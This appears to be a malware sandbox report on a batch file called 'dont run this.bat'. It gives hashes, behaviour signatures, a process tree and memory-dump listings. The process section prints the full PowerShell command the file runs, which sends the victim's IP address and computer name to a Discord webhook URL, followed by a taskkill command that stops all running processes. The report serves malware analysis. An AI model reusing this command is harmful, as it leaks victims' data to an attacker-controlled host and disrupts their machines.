Overview

overview

10

Static

static

1

dont run this.bat

windows7-x64

10

dont run this.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    594s
  • max time network
    559s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 11:31

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General

  • Target

    dont run this.bat

  • Size

    849B

  • MD5

    d982dbfe5bfcc68a69417fd76e1ac295

  • SHA1

    b03278eea46733f81ad31d4c4f6daeb0593a178c

  • SHA256

    5fa54e25da95bc1653386095036e5e49674eaf32a84abf5260d06766939b3c2b

  • SHA512

    01093dd809e7b2250dd1520284877364d36ba24745217d894e160379c421ec07deb653ae3640af282d601b85b7538292f4c5facc00e5e1bc27a8b9505cbce9ae

Score
10/10
executionpersistence

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://discord.com/api/webhooks/1247011829113421924/G7H0e1jRD0We6lVEwOvpi4hMvIPUhb5TglUInY9mdGy6MSxXFUT5tl3x_3jw9dhg1Pk8

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 62 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dont run this.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& {$ip = Invoke-RestMethod http://ipinfo.io/json | Select-Object -ExpandProperty ip; $pcName = $env:COMPUTERNAME; $webhook = 'https://discord.com/api/webhooks/1247011829113421924/G7H0e1jRD0We6lVEwOvpi4hMvIPUhb5TglUInY9mdGy6MSxXFUT5tl3x_3jw9dhg1Pk8'; $msg = 'IP Address: ' + $ip + ' | PC Name: ' + $pcName; Invoke-RestMethod -Uri $webhook -Method Post -Body @{content = $msg}}"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1144
    • C:\Windows\system32\taskkill.exe
      taskkill /F /FI "STATUS eq RUNNING"
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2108
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:1736
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4960
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:3656
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    PID:3392
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:528
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:696

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
    Filesize

    28KB

    MD5

    7a857c1d9cdc2e41fe8c586f29a96cfc

    SHA1

    ca9975d00229db7f8ea772b96e08f7df83010785

    SHA256

    0aa81510286b666edc080082cd6924c6b64a7c0f200b49db85b099e72eaa9f95

    SHA512

    d2472ddf75f4fe0403ec2a4b08f8d9d512e9d83f1c46d755a326297fe27871ad463f721700fc296e88dc342c700ca4f4e647ee3cff5f9db6a603c784ffec9077

    Download Submit

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133619010341371057.txt
    Filesize

    75KB

    MD5

    ce88a108043a3d69e5325754ba9c7181

    SHA1

    c64f06b8081f5ec0ae7c0e1fe7b0f248aa6550c4

    SHA256

    b2552766ebb3469549cea5b6b609077fa6e38c000eba6befadfd275e11a8095e

    SHA512

    cb5e53fb1520b68178ad465cde801ed779521b843de44f894fc8fdbd071f33f663a60f570b134ff0996bf407ef9ecee72810b16dd9276469e6b0efb5d5c85829

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l2ejy0j4.pf3.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/696-29-0x000002EEC4F20000-0x000002EEC5020000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/696-64-0x000002EEC6030000-0x000002EEC6050000-memory.dmp

    Filesize

    128KB

    Download

  • memory/696-65-0x000002EEC6440000-0x000002EEC6460000-memory.dmp

    Filesize

    128KB

    Download

  • memory/696-30-0x000002EEC4F20000-0x000002EEC5020000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/696-34-0x000002EEC6070000-0x000002EEC6090000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1144-12-0x00007FF8E44D0000-0x00007FF8E4F91000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1144-18-0x00007FF8E44D0000-0x00007FF8E4F91000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1144-15-0x00007FF8E44D0000-0x00007FF8E4F91000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1144-14-0x000001BB4D390000-0x000001BB4D8B8000-memory.dmp

    Filesize

    5.2MB

    Download

  • memory/1144-13-0x000001BB4CC90000-0x000001BB4CE52000-memory.dmp

    Filesize

    1.8MB

    Download

  • memory/1144-0-0x00007FF8E44D3000-0x00007FF8E44D5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1144-11-0x00007FF8E44D0000-0x00007FF8E4F91000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1144-6-0x000001BB4C590000-0x000001BB4C5B2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3656-25-0x0000000004670000-0x0000000004671000-memory.dmp

    Filesize

    4KB

    Download